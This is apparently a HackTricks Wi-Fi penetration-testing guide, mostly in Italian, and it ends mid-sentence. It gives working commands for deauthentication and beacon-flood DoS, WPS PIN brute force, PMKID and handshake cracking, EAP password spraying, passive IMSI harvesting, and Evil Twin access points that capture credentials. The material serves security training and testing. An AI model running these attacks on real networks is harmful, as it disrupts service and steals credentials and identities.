Pentesting Wifi
Reading time: 39 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Comandi di base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Strumenti
Hijacker & NexMon (Wi-Fi interno di Android)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Eseguire airgeddon con docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Può eseguire attacchi Evil Twin, KARMA e Known Beacons e poi usare un template di phishing per riuscire a ottenere la password reale della rete o a catturare le credenziali dei social network.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Questo strumento automatizza gli attacchi WPS/WEP/WPA-PSK. Esegue automaticamente:
- Imposta l'interfaccia in monitor mode
- Scansiona le reti disponibili - e permette di selezionare la/le vittime
- Se WEP - Avvia attacchi WEP
- Se WPA-PSK
- Se WPS: Pixie dust attack e il bruteforce attack (attenzione: il brute-force attack può richiedere molto tempo). Nota che non tenta null PIN né database/generated PINs.
- Prova a catturare il PMKID dall'AP per crackarlo
- Prova a deauthenticate i client dell'AP per catturare un handshake
- Se PMKID o Handshake, prova il bruteforce usando le top5000 password.
Attacks Summary
- DoS
- Deauthentication/disassociation -- Disconnette tutti (o un ESSID/Client specifico)
- Random fake APs -- Nasconde reti, possibile crash dei scanner
- Overload AP -- Try to kill the AP (usually not very useful)
- WIDS -- Play with the IDS
- TKIP, EAPOL -- Alcuni attacchi specifici per DoS di alcuni AP
- Cracking
- Crack WEP (diversi tools e metodi)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] -- Utile per catturare captive portal creds e/o eseguire attacchi LAN
- WPA-PSK Evil Twin -- Utile per attacchi alla rete se conosci la password
- WPA-MGT -- Utile per catturare credenziali aziendali
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- Utile per catturare captive portal creds e/o eseguire attacchi LAN
- + WPA -- Utile per catturare WPA handshakes
DOS
Deauthentication Packets
Descrizione da here:.
Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.
Deauthentication usando Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 significa deauthentication
- 1 è il numero di deauths da inviare (puoi inviarne più di uno se vuoi); 0 significa inviarli continuamente
- -a 00:14:6C:7E:40:80 è l'indirizzo MAC dell'access point
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deauthenticate; se omesso viene inviato broadcast deauthentication (non sempre funziona)
- ath0 è il nome dell'interfaccia
Disassociation Packets
Disassociation packets, simili ai deauthentication packets, sono un tipo di management frame usato nelle reti Wi‑Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (ad esempio un laptop o uno smartphone) e un access point (AP). La distinzione principale tra disassociation e deauthentication riguarda i loro scenari d'uso. Mentre un AP emette deauthentication packets per rimuovere esplicitamente dispositivi rogue dalla rete, i disassociation packets vengono tipicamente inviati quando l'AP sta effettuando uno shutdown, un riavvio o si sta spostando, rendendo necessaria la disconnessione di tutti i nodi connessi.
Questo attacco può essere eseguito con mdk4 (mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Altri attacchi DOS con mdk4
Vedi here.
ATTACK MODE b: Beacon Flooding
Invia beacon frames per mostrare fake APs ai clients. Questo può talvolta crashare i network scanners e persino i drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Inviare authentication frames a tutti gli Access Points (APs) accessibili entro la portata può sovraccaricare questi APs, specialmente quando sono coinvolti numerosi clients. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o addirittura il reset di alcuni APs.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs) verifica se un SSID è correttamente rivelato e conferma la portata dell'AP. Questa tecnica, accoppiata con bruteforcing hidden SSIDs con o senza una wordlist, aiuta a identificare e accedere a reti nascoste.
ATTACK MODE m: Michael Countermeasures Exploitation
L'invio di pacchetti casuali o duplicati a diverse QoS queues può attivare Michael Countermeasures su TKIP APs, portando all'arresto dell'AP per un minuto. Questo metodo è una tattica efficiente di DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Inondare un AP con EAPOL Start frames crea fake sessions, sovraccaricando l'AP e bloccando i client legittimi. In alternativa, iniettare fake EAPOL Logoff messages disconnette forzatamente i client; entrambi i metodi interrompono efficacemente il servizio di rete.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Attacchi per le reti mesh IEEE 802.11s
Diversi attacchi sulla gestione dei link e sul routing nelle reti mesh.
ATTACK MODE w: WIDS Confusion
Collegare incrociatamente i client a più nodi WDS o a fake rogue APs può manipolare Intrusion Detection and Prevention Systems, creando confusione e potenziale abuso del sistema.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
Un packet fuzzer che offre fonti di pacchetti diverse e un set completo di modificatori per la manipolazione dei pacchetti.
Airggedon
Airgeddon offre la maggior parte degli attacchi proposti nei commenti precedenti:
WPS
WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositivi a un router, aumentando la velocità e la facilità di configurazione per le reti criptate con WPA o WPA2 Personal. È inefficace contro la sicurezza WEP, facilmente compromettibile. WPS utilizza un PIN di 8 cifre, verificato in due metà, rendendolo vulnerabile ad attacchi brute-force a causa del numero limitato di combinazioni (circa 11.000 possibilità).
WPS Bruteforce
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
- Reaver è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato su un'ampia varietà di access point e implementazioni WPS.
- Bully è una nuova implementazione dell'attacco brute force WPS, scritta in C. Ha diversi vantaggi rispetto al codice originario di reaver: meno dipendenze, migliore utilizzo della memoria e della cpu, gestione corretta dell'endianness e un set di opzioni più robusto.
L'attacco sfrutta la vulnerabilità del PIN WPS, in particolare l'esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco brute-force. Tuttavia, contromisure contro gli attacchi brute-force, come il blocking MAC addresses degli aggressori più aggressivi, richiedono la MAC address rotation per proseguire l'attacco.
Ottenendo il PIN WPS con strumenti come Bully o Reaver, l'attaccante può dedurre la WPA/WPA2 PSK, garantendo un persistent network access.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Questo approccio raffinato mira ai WPS PINs sfruttando vulnerabilità note:
- PINs già scoperti: Utilizzare un database di PINs noti associati a produttori specifici che tendono a usare PINs WPS uniformi. Questo database correla i primi tre ottetti dei MAC-addresses con i PINs probabili per questi produttori.
- Algoritmi di generazione dei PIN: Sfruttare algoritmi come ComputePIN e EasyBox, che calcolano i WPS PINs basandosi sul MAC-address dell'AP. L'algoritmo Arcadyan richiede inoltre un device ID, aggiungendo un ulteriore elemento al processo di generazione dei PIN.
WPS Pixie Dust attack
Dominique Bongard ha scoperto una falla in alcuni Access Points (APs) relativa alla generazione di codici segreti, noti come nonces (E-S1 e E-S2). Se questi nonces possono essere ricavati, craccare il WPS PIN dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per aprire la "cassaforte" che contiene il WPS PIN. Maggiori informazioni si trovano here.
In termini semplici, il problema è che alcuni APs non usavano chiavi abbastanza casuali per cifrare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile all'essere indovinato dall'esterno della rete (offline brute force attack).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Se non vuoi mettere il dispositivo in monitor mode, o se reaver
e bully
hanno qualche problema, puoi provare OneShot-C. Questo strumento può eseguire Pixie Dust attack senza dover passare in monitor mode.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Alcuni sistemi mal progettati consentono addirittura a un Null PIN (un PIN vuoto o inesistente) di concedere l'accesso, cosa piuttosto insolita. Lo strumento Reaver è in grado di testare questa vulnerabilità, a differenza di Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Tutti gli attacchi WPS proposti possono essere facilmente eseguiti usando airgeddon.
- 5 e 6 ti permettono di provare il tuo PIN personalizzato (se ne hai uno)
- 7 e 8 eseguono il Pixie Dust attack
- 13 ti permette di testare il NULL PIN
- 11 e 12 raccoglieranno i PIN relativi all'AP selezionato dai database disponibili e genereranno possibili PIN usando: ComputePIN, EasyBox e opzionalmente Arcadyan (consigliato, perché no?)
- 9 e 10 testeranno ogni possibile PIN
WEP
Estremamente insicuro e ormai non più usato. Sappi solo che airgeddon ha un'opzione WEP chiamata "All-in-One" per attaccare questo tipo di protezione. Altri tool offrono opzioni simili.
WPA/WPA2 PSK
PMKID
Nel 2018, hashcat revealed un nuovo metodo d'attacco, unico perché richiede solo un singolo pacchetto e non necessita che client siano connessi all'AP target—solo l'interazione tra l'attaccante e l'AP.
Molti router moderni aggiungono un campo opzionale al primo frame EAPOL durante l'associazione, conosciuto come Robust Security Network
. Questo include il PMKID
.
Come spiega il post originale, il PMKID viene creato usando dati noti:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Poiché il "PMK Name" è costante, conosciamo il BSSID dell'AP e della station, e il PMK
è identico a quello di una full 4-way handshake, hashcat può usare queste informazioni per crackare la PSK e recuperare la passphrase!
Per raccogliere queste informazioni e bruteforce localmente la password puoi fare:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Le PMKIDs catturate saranno mostrate nella console e anche salvate dentro _ /tmp/attack.pcap_
Ora converti la cattura nel formato hashcat/john e crackala:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Nota che il formato di un hash corretto contiene 4 parti, come: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Se il tuo contiene solo 3 parti, allora è invalido (la PMKID capture non era valida).
Nota che hcxdumptool
anche capture handshakes (apparirà qualcosa del tipo: MP:M1M2 RC:63258 EAPOLTIME:17091
). Puoi trasformare gli handshakes nel formato hashcat/john usando cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
Handshake capture
Un attacco alle reti WPA/WPA2 può essere eseguito catturando un handshake e tentando di crack la password offline. Questo processo comporta il monitoraggio della comunicazione di una rete specifica e del BSSID su un particolare channel. Ecco una guida semplificata:
- Identifica il BSSID, il channel, e un connected client della rete target.
- Usa
airodump-ng
per monitorare il traffico di rete sul channel e sul BSSID specificati, sperando di catturare un handshake. Il comando sarà il seguente:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Per aumentare la probabilità di catturare un handshake, disconnettere momentaneamente il client dalla rete per forzare una re-authentication. Questo può essere fatto usando il comando
aireplay-ng
, che invia deauthentication packets al client:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Nota che, poiché il client è stato deauthenticated, potrebbe provare a connettersi a un AP diverso o, in altri casi, a una network diversa.
Una volta che in airodump-ng
compaiono alcune informazioni sul handshake, significa che il handshake è stato catturato e puoi smettere di ascoltare:
Una volta catturato il handshake puoi crackarlo con aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Verificare se il handshake è nel file
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Se questo strumento trova un handshake incompleto di un ESSID prima di quello completato, non rileverà quello valido.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Nelle configurazioni WiFi enterprise incontrerai vari metodi di autenticazione, ciascuno dei quali fornisce diversi livelli di sicurezza e funzionalità di gestione. Quando usi strumenti come airodump-ng
per ispezionare il traffico di rete, potresti notare identificatori per questi tipi di autenticazione. Alcuni metodi comuni includono:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Questo metodo supporta hardware token e one-time passwords all'interno di EAP-PEAP. Diversamente da MSCHAPv2, non usa un peer challenge e invia le password in plaintext all'access point, esponendo il rischio di downgrade attacks.
- EAP-MD5 (Message Digest 5):
- Richiede l'invio dell'hash MD5 della password dal client. È non raccomandato a causa della vulnerabilità ad attacchi dizionario, della mancanza di autenticazione del server e dell'impossibilità di generare chiavi WEP session-specific.
- EAP-TLS (Transport Layer Security):
- Utilizza certificati sia lato client che lato server per l'autenticazione e può generare dinamicamente chiavi WEP user-based e session-based per proteggere le comunicazioni.
- EAP-TTLS (Tunneled Transport Layer Security):
- Fornisce autenticazione mutua tramite un tunnel cifrato, insieme a un metodo per derivare chiavi WEP dinamiche, per-utente e per-sessione. Richiede solo certificati lato server, mentre i client usano credenziali.
- PEAP (Protected Extensible Authentication Protocol):
- Funziona in modo simile a EAP creando un tunnel TLS per comunicazioni protette. Permette l'uso di protocolli di autenticazione più deboli sopra EAP grazie alla protezione offerta dal tunnel.
- PEAP-MSCHAPv2: Spesso chiamato semplicemente PEAP, combina il vulnerabile meccanismo challenge/response di MSCHAPv2 con un tunnel TLS protettivo.
- PEAP-EAP-TLS (or PEAP-TLS): Simile a EAP-TLS ma avvia un tunnel TLS prima dello scambio dei certificati, offrendo un ulteriore livello di sicurezza.
You can find more information about these authentication methods here and here.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the "Identity" messages must be supported, and the username is going to be sent in clear in the "Response Identity" messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng
inside a channel and wireshark
in the same interface) and filter the packets byeapol
.
Inside the "Response, Identity" packet, the username of the client will appear.
Anonymous Identities
Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user's device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:
- EAP-Identity = anonymous
- In this scenario, all users employ the pseudonymous "anonymous" as their user identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS server, responsible for managing the server-side of the PEAP or TTLS protocol. The inner (protected) authentication method is then either handled locally or delegated to a remote (home) RADIUS server.
- EAP-Identity = anonymous@realm_x
- In this situation, users from different realms conceal their identities while indicating their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
- Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS server and either handle the protected authentication method or forward it to another server. This option facilitates the configuration of distinct policies for various realms.
In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user's true identity through the encrypted tunnel. This approach effectively prevents the revelation of the user's actual identity to anyone eavesdropping on the 802.11 traffic.
EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client includes a User-Name attribute and either a Password or CHAP-Password attribute in the initial TLS message sent after tunnel establishment.
Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user's true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user's identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user's home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user's true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Clicca per espandere
# 1) Enable monitor mode
airmon-ng start wlan0
# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>
# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
# eap || eapol
# (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
# tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
# 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
Note:
- Funziona prima di qualsiasi tunnel TLS se l'implementazione usa EAP‑SIM/AKA non protetto senza identità protette/pseudonimi.
- Il valore esposto è un identificatore permanente legato alla SIM dell’abbonato; la sua raccolta consente tracciamento a lungo termine e abusi telecom successivi.
Impatto
- Privacy: tracciamento persistente di utenti/dispositivi da acquisizioni passive Wi‑Fi in luoghi pubblici.
- Telecom abuse bootstrap: con l’IMSI, un attacker con accesso SS7/Diameter può interrogare la posizione o tentare l’intercettazione di chiamate/SMS e il furto di MFA.
Mitigazioni / cosa cercare
- Verificare che i client usino identità esterne anonime (pseudonimi) per EAP‑SIM/AKA come da linee guida 3GPP (es., 3GPP TS 33.402).
- Preferire il tunneling della fase di identità (es., EAP‑TTLS/PEAP che trasporta un EAP‑SIM/AKA interno) in modo che l’IMSI non sia mai inviato in chiaro.
- Le capture di pacchetti relative ad association/auth non dovrebbero mai rivelare un IMSI raw in EAP-Response/Identity.
Related: Telecom signalling exploitation with captured mobile identifiers Telecom Network Exploitation
EAP-Bruteforce (password spray)
Se il client è previsto per usare un username and password (nota che EAP-TLS won't be valid in questo caso), allora puoi cercare di ottenere una lista di username (vedi parte successiva) e password e provare a bruteforce l'accesso usando air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Puoi anche eseguire questo attacco usando eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Teoria degli attacchi ai client
Selezione della rete e roaming
- Il protocollo 802.11 definisce come una station si unisce a un Extended Service Set (ESS) ma non specifica i criteri per selezionare un ESS o un access point (AP) al suo interno.
- Le station possono effettuare roaming tra AP che condividono lo stesso ESSID, mantenendo la connettività all'interno di un edificio o di un'area.
- Il protocollo richiede l'autenticazione della station all'ESS ma non impone l'autenticazione dell'AP verso la station.
Preferred Network Lists (PNLs)
- Le station memorizzano l'ESSID di ogni wireless network a cui si collegano nella loro Preferred Network List (PNL), insieme ai dettagli di configurazione specifici della rete.
- La PNL viene usata per connettersi automaticamente alle reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
Passive Scanning
- Gli AP periodicamente trasmettono beacon frames, annunciando la loro presenza e le loro caratteristiche, incluso l'ESSID dell'AP a meno che il broadcast non sia disabilitato.
- Durante la passive scanning le station ascoltano i beacon frames. Se l'ESSID di un beacon corrisponde a una voce nella PNL della station, la station può connettersi automaticamente a quell'AP.
- La conoscenza della PNL di un dispositivo permette potenziali exploit imitando l'ESSID di una rete nota, inducendo il dispositivo a connettersi a un rogue AP.
Active Probing
- L'active probing implica che le station inviino probe requests per scoprire gli AP vicini e le loro caratteristiche.
- I directed probe requests mirano a un ESSID specifico, aiutando a rilevare se una determinata rete è entro portata, anche se è una hidden network.
- I broadcast probe requests hanno il campo SSID nullo e vengono inviati a tutti gli AP vicini, permettendo alla station di verificare la presenza di qualsiasi rete preferita senza rivelare il contenuto della sua PNL.
AP semplice con redirezione su Internet
Prima di spiegare come eseguire attacchi più complessi verrà spiegato come semplicemente creare un AP e reindirizzare il suo traffico verso un'interfaccia connessa a Internet.
Usando ifconfig -a
verifica che l'interfaccia wlan da usare per creare l'AP e l'interfaccia connessa a Internet siano presenti.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Crea il file di configurazione /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Quindi set IPs e routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
E poi avvia dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Crea un file di configurazione hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Ferma i processi fastidiosi , imposta monitor mode, e avvia hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Inoltro e Reindirizzamento
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Un attacco Evil Twin sfrutta il modo in cui i client WiFi riconoscono le reti, basandosi principalmente sul nome della rete (ESSID) senza richiedere che la stazione base (access point) si autentichi verso il client. I punti chiave includono:
- Difficulty in Differentiation: I dispositivi fanno fatica a distinguere tra access point legittimi e rogue quando condividono lo stesso ESSID e tipo di crittografia. Nelle reti reali si usano spesso più access point con lo stesso ESSID per estendere la copertura senza soluzione di continuità.
- Client Roaming and Connection Manipulation: Il protocollo 802.11 permette ai dispositivi di spostarsi tra access point all'interno dello stesso ESS. Gli attaccanti possono sfruttare questo attirando un dispositivo a disconnettersi dalla sua stazione base corrente e connettersi a una rogue. Questo può essere ottenuto offrendo un segnale più forte o interrompendo la connessione all'access point legittimo tramite metodi come deauthentication packets o jamming.
- Challenges in Execution: Eseguire con successo un attacco evil twin in ambienti con più access point ben posizionati può essere complicato. Deauthenticating un singolo access point legittimo spesso porta il dispositivo a connettersi a un altro access point legittimo, a meno che l'attaccante non possa deauthenticate tutti gli access point nelle vicinanze o collocare strategicamente il rogue access point.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Puoi anche creare un Evil Twin usando eaphammer (nota che per creare evil twins con eaphammer l'interfaccia should NOT be in monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Oppure usando Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Per favore, nota che di default se un ESSID nella PNL è salvato come WPA protected, il dispositivo non si connetterà automaticamente a un Open evil Twin. Puoi tentare di effettuare un DoS sull'AP reale e sperare che l'utente si connetta manualmente al tuo Open evil Twin, oppure puoi effettuare un DoS sull'AP reale e usare una WPA Evil Twin per catturare lo handshake (con questo metodo non potrai permettere alla vittima di connettersi a te perché non conosci la PSK, ma puoi catturare lo handshake e provare a crackarlo).
Alcuni OS e AV avviseranno l'utente che connettersi a una rete Open è pericoloso...
WPA/WPA2 Evil Twin
Puoi creare un Evil Twin using WPA/2 e se i dispositivi sono configurati per connettersi a quell'SSID con WPA/2, tenteranno di connettersi. Comunque, to complete the 4-way-handshake devi anche conoscere la password che il client userà. Se non la conosci, la connessione non verrà completata.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Per comprendere questi attacchi, consiglio di leggere prima la breve WPA Enterprise explanation.
Uso di hostapd-wpe
hostapd-wpe
ha bisogno di un file di configurazione per funzionare. Per automatizzare la generazione di queste configurazioni puoi usare https://github.com/WJDigby/apd_launchpad (scarica il file python dentro /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Nel file di configurazione puoi selezionare molte cose diverse come ssid, channel, user files, cret/key, dh parameters, wpa version e auth...
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Usando EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Per impostazione predefinita, EAPHammer utilizza i seguenti metodi di autenticazione (nota GTC come il primo da provare per ottenere plaintext passwords e successivamente l'uso di metodi di autenticazione più robusti):
